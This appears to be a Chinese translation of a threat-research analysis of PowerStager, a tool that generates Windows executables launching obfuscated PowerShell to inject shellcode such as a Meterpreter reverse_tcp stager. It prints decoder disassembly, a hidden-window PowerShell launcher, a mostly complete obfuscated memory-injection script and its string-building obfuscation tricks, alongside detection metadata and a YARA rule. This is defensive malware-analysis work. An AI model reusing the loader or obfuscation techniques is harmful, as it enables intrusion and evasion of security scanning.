导语:在这篇文章中,我将介绍一种名为PowerStager的工具,该工具自2017年4月起一直处于我的观察之下。它引起我的注意的主要原因是由于它在PowerShell段采用了相当独特的混淆技术。
工具介绍
在这篇文章中,我将介绍一种名为PowerStager的工具,该工具自2017年4月起一直处于我的观察之下。它引起我的注意的主要原因是由于它在PowerShell段采用了相当独特的混淆技术,至今为止我还没有看到在其他工具中有使用这一技术。 在跟踪这项技术时,我发现在2017年12月左右,PowerStager在野外攻击的使用率有所上升。
下面我将详细介绍该工具是如何工作的,然后介绍一些可以观察到的攻击和该工具的部件。
PowerStager的核心是一个Python脚本,它使用C源代码生成Windows可执行文件,然后利用多层模糊处理启动PowerShell脚本,最终目标是执行shellcode有效负载。 PowerStager有很多配置选项,使其具有相当大的灵活性。 以下是代码中列出的一些配置选项:
能够选择目标平台(x86或x64) 能够在默认值之上使用额外的模糊处理 能够显示社交工程的自定义错误消息/可执行图标 能够使用Meterpreter或其他内置的shellcode有效载荷 能够获取远程负载或将其嵌入到可执行文件中 能够使用UAC升级权限
对于我将要覆盖的样本,总体流程如下图所示。
在深入分析迄今为止所观察到的所有样本之前,我将会对以上每一部分内容进行解析。
PE分析
应该指出的是,大部分分析是在实际发现源代码之前进行的。 看了大量的样本后,很明显,它们是以编程方式生成的,所以我着手尝试确定来源。
每个可执行文件中都有一个嵌入的字符串,用于创建文件。
在深入分析迄今为止所观察到的所有样本之前,我将会涵盖每一部分内容。
"004015BC |. C74424 08 05F04>MOV DWORD PTR SS:[ESP+8],75809731.0040>; ASCII "%sA62q1gMHhRWy"
文件名称在样本之间是随机的,这是一个关于创建者的主要线索。 该值稍后在多层PowerShell脚本中会再次被引用,并进一步证实了这一理论,因为这些随机文件名通常是随机生成的,并且不会嵌入其中。
由PowerStager创建的最初的可执行文件非常简单。 它获取%TMP%环境路径并使用嵌入的文件名创建文件。 之后,它会对可执行文件的.data部分中找到的数据执行两次memcpy()调用,并将它们移动到新的内存页面中。 对于在这个分析中看到的示例,第一个memcpy()从.data部分的偏移量0x20获取数据,而第二个memcpy()从偏移量0x67E0获取相同大小的数据。 最后,在最终将其保存到文件之前,它会对其执行解码功能。
0040164E |> /8D95 D8C6FFFF /LEA EDX,[LOCAL.3658] 00401654 |. |8B45 F4 |MOV EAX,[LOCAL.3] 00401657 |. |01D0 |ADD EAX,EDX ; 75809731.004067E0 00401659 |. |0FB618 |MOVZX EBX,BYTE PTR DS:[EAX] 0040165C |. |8B4D F4 |MOV ECX,[LOCAL.3] 0040165F |. |89C8 |MOV EAX,ECX 00401661 |. |C1E8 06 |SHR EAX,6 00401664 |. |BA 9D889704 |MOV EDX,497889D 00401669 |. |F7E2 |MUL EDX ; 75809731.004067E0 0040166B |. |89D0 |MOV EAX,EDX ; 75809731.004067E0 0040166D |. |C1E8 02 |SHR EAX,2 00401670 |. |69C0 C0370000 |IMUL EAX,EAX,37C0 00401676 |. |29C1 |SUB ECX,EAX 00401678 |. |89C8 |MOV EAX,ECX 0040167A |. |0FB68405 188FFF>|MOVZX EAX,BYTE PTR SS:[EBP+EAX+FFFF8F18] 00401682 |. |31C3 |XOR EBX,EAX 00401684 |. |89D9 |MOV ECX,EBX 00401686 |. |8D95 D8C6FFFF |LEA EDX,[LOCAL.3658] 0040168C |. |8B45 F4 |MOV EAX,[LOCAL.3] 0040168F |. |01D0 |ADD EAX,EDX ; 75809731.004067E0 00401691 |. |8808 |MOV BYTE PTR DS:[EAX],CL 00401693 |. |8345 F4 01 |ADD [LOCAL.3],1 00401697 |> |8B45 F4 MOV EAX,[LOCAL.3] ; |||| 0040169A |. |3D BF370000 |CMP EAX,37BF ; |||| 0040169F |.^76 AD JBE SHORT 75809731.0040164E ; ||||
第二组数据是一个相等长度的异或键,这个功能只是对两段数据的每一个字节进行异或,然后将输出写入文件。
它再次经历这个过程,从。数据部分复制两部分数据,并将它们异或以解码第一个PowerShell的命令,然后将其传递给CreateProcessA();这个命令将在下一节中进行分析。
最后,可执行文件调用MessageBoxA并显示一个假的错误消息。请注意,该工具为用户提供是否包含此错误消息的选项。
PowerShell分析
启动的第一个PowerShell脚本从简单的十六进制 – > ASCII混淆开始。 样品之间,参数是随机混合并且每次都缩短的不同。
PowerSHeLl -WiNdOwsty hiDDeN -comMA "(-JoIn(('2628277b317d7b307d27 …
现在查看源代码,可以看到它将这些参数传递到混淆函数的哪个位置,这使得从这个角度进行标识更加困难。
: "[_OBF_POWERSHELL_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_COMMAND_] "[_PS_LOAD_]"",
虽然命令和情况可能会改变,但顺序不会。
解码的脚本是第一个利用前面提到的独特的混淆技术。 它结合了多种风格的令牌替换混淆和链接调用函数来构建一个简单的base64解码和执行第三个脚本的新脚本。
以下是您通常使用令牌替换(复合格式)混淆查找的内容。
('{2}{1}{3}{0}'-f'LE','i','Set-Var','ab')
这是通过将每个“{#}”替换为在数组中的索引处找到的相应字符串值来构建字符串“Set-Variable”。
新方法可以在相同的前提下工作,但不是直接调用索引,而是通过执行两个replace()调用来构建格式项的初始字符串。 从表面上看,理解和构建字符串“数值”并不难,但从扫描的角度来看,它有助于进一步混淆命令并防止常见的签名技术。
(('4 2 1 0 3'-REpLaCe'w+','{${0}}'-RePLACE' ','')-f'u','l','a','e','v')
在这个阶段执行的第三个脚本还是一个混淆技术的组合,正如现在从源代码已知的那样,这些混淆技术通过单独的混淆函数来改变这个代码样本以进行采样。
$piPtZNxr1f5K=&('ad'+'d-'+'TyPE') -m '[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr dest, uint src, uint count);' -name 'Win32' -ns Win32Functions -pas; [byTE[]]$RDm7s2YDUaBL=0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52, …<TRUNCATED>… 0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x1,0xc3,0x29,0xc6,0x75,0xee,0xc3;$lXw9sqCMdGHQ=$piPtZNxr1f5K: :('{2}{1}{0}{3}'-f'o','lAll','viRtuA','C').inVokE(0,[Math]::(('2 0 1'-REpLAcE'w+','{${0}}'-rEPlaCe' ','')- f'a','x','m').INvoke($RDm7s2YDUaBL.(('1 5 2 3 0 4'-RepLaCe'w+','{${0}}'-ReplAce' ','')- f't','l','n','g','h','e'),0x1000),0x3000,0x40);for($Zxv0oxgiqKpR=0;$Zxv0oxgiqKpR -le ($RDm7s2YDUaBL. ('lEn'+'G'+'T'+'h')-1);$Zxv0oxgiqKpR++){[VoID]$piPtZNxr1f5K::(('0 3 0 2 3 1'-RepLAce'w+','{${0}}'-rEplacE' ','')- f'm','t','s','e').INVOKe([InTptr]($lXw9sqCMdGHQ.ToInt32()+$Zxv0oxgiqKpR),$RDm7s2YDUaBL[$Zxv0oxgiqKpR],1)};$piPtZNxr1f5K:: ('CrEatETHrE'+'A'+'d').InvoKE(0,0,$lXw9sqCMdGHQ,0,0,0);.('{0}'-f'STarT-slEep') 100000
这么标准的shellcode似乎并不应该出现在这里, 然而,在源代码中有多个静态的shellcode blob,然后嵌入一个Meterpreter reverse_tcp shellcode的选项。 对于我手动查看的少数几个实例,每个实例都是源代码中嵌入的“reverse_tcp stager”。
总共有7个可从脚本生成的PowerShell脚本,下面列出了注释名称,并显示了我在开始时试图说明的一般执行过程。
Main Base64 decoder XOR decryptor System.Net.WebClient Encoded command Memory injection Reverse powershell
总而言之,我觉得这是一个很好的组合框架,可以提供良好的模糊性和灵活性,避免检测。
野外检测
现在我已经对样本进行了分析,并找到了确认上述分析工作的源代码,接下来我将简要地谈谈在野外发生的攻击。
截至2017年12月29日,Palo Alto Networks已经在野外观察了502个独特的PowerStager样本。在我能够确定目标的样本来看,他们都在针对西欧媒体和一些商品批发组织;然而,也有许多样品被确定为用于测试和销售POC的演示。在我看来这并不需要多惊讶,因为蓝队,红队和安全公司经常需要测试新的工具来继续创新。
查看样本中静态配置的文件名,我发现只有7个文件名被多次使用,并且在9个样本中都找到了同一个文件名。所有重复的文件名都与测试相关 – 例如。扫描文件,添加一个字节,再次扫描文件,以其他方式稍微修改文件,再次扫描,如此等等。
构建示例时,PowerStager的C源代码中包含一个Manifest,用于定义可执行文件的某些属性。这提供了一个体面的机制来跟踪样本,虽然它看起来是一个微不足道的改变。具体来说就是,它让 “Description” 字段是静态的,“Company Name” 始终以“INC。”结尾。
rc_company_name = names.get_last_name() + " INC." rc_description = "Lorem ipsum dolor sit amet, consecteteur adipiscing elit." rc_internal_name = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10)) rc_legal_name = names.get_full_name() rc_original_filename = output.split("/")[-1:][0] rc_product_name = rc_internal_name
您会注意到“Original Filename”字段被设置为“output” 变量的一部分。 这是在编译时指定的必填字段,并提供对样本背后的人的一个短暂的一瞥。 虽然此字段中有超过427个唯一值,但下表显示了与多个样本关联的文件的名称。
其他值得注意的名字包括可执行伪装的常用目标:vnc,vlc,Skype,记事本和Minecraft。
此外,“ProductName”字段将始终为具有混合大写字母和数字的10个字符的字符串。
这些都提供了有用的方法来静态描述这些文件,在动态分析过程中加上独特的混淆和PowerShell方法,可以很好地识别这些文件。
对于错误消息,除30个样本外,都包含默认错误消息。 没有简单地包含没有错误信息的那些。
以下YARA规则将为生成的Windows可执行文件的x86和x64变体提供额外的覆盖范围。
rule powerstager { meta: author = "Jeff White - [email protected] @noottrak" date = "02JAN2018" hash1 = "758097319d61e2744fb6b297f0bff957c6aab299278c1f56a90fba197795a0fa" //x86 hash2 = "83e714e72d9f3c500cad610c4772eae6152a232965191f0125c1c6f97004b7b5" //x64 description = "Detects PowerStager Windows executable, both x86 and x64" strings: $filename = /%s[a-zA-Z0-9]{12}/ $pathname = "TEMP" wide ascii // $errormsg = "The version of this file is not compatible with the version of Windows you're running." wide ascii $filedesc = "Lorem ipsum dolor sit amet, consecteteur adipiscing elit" wide ascii $apicall_01 = "memset" $apicall_02 = "getenv" $apicall_03 = "fopen" $apicall_04 = "memcpy" $apicall_05 = "fwrite" $apicall_06 = "fclose" $apicall_07 = "CreateProcessA" $decoder_x86_01 = { 8D 95 [4] 8B 45 ?? 01 D0 0F B6 18 8B 4D ?? } $decoder_x86_02 = { 89 C8 0F B6 84 05 [4] 31 C3 89 D9 8D 95 [4] 8B 45 ?? 01 D0 88 08 83 45 [2] 8B 45 ?? 3D } $decoder_x64_01 = { 8B 85 [4] 48 98 44 0F [7] 8B 85 [4] 48 63 C8 48 } $decoder_x64_02 = { 48 89 ?? 0F B6 [3-6] 44 89 C2 31 C2 8B 85 [4] 48 98 } condition: uint16be(0) == 0x4D5A and all of ($apicall_*) and $filename and $pathname and $filedesc and (2 of ($decoder_x86*) or 2 of ($decoder_x64*)) }
总结
虽然这不是最先进的工具集,但作者在尝试混淆和动态检测时遇到了很多麻烦。 正如我之前提到的,PowerStager已经涵盖了很多混淆和灵活性的基础,但是迄今为止还没有看到太多的用法。 现在来看,它正在逐步的崛起。
我们目前通过PowerStager标签跟踪AutoFocus中的PowerStager。 Wildfire已经更新了新的签名,以确保对这些可执行文件的保护。 YARA文件,PE元数据以及与此工具相关的哈希列表可以在Unit 42 GitHub上找到。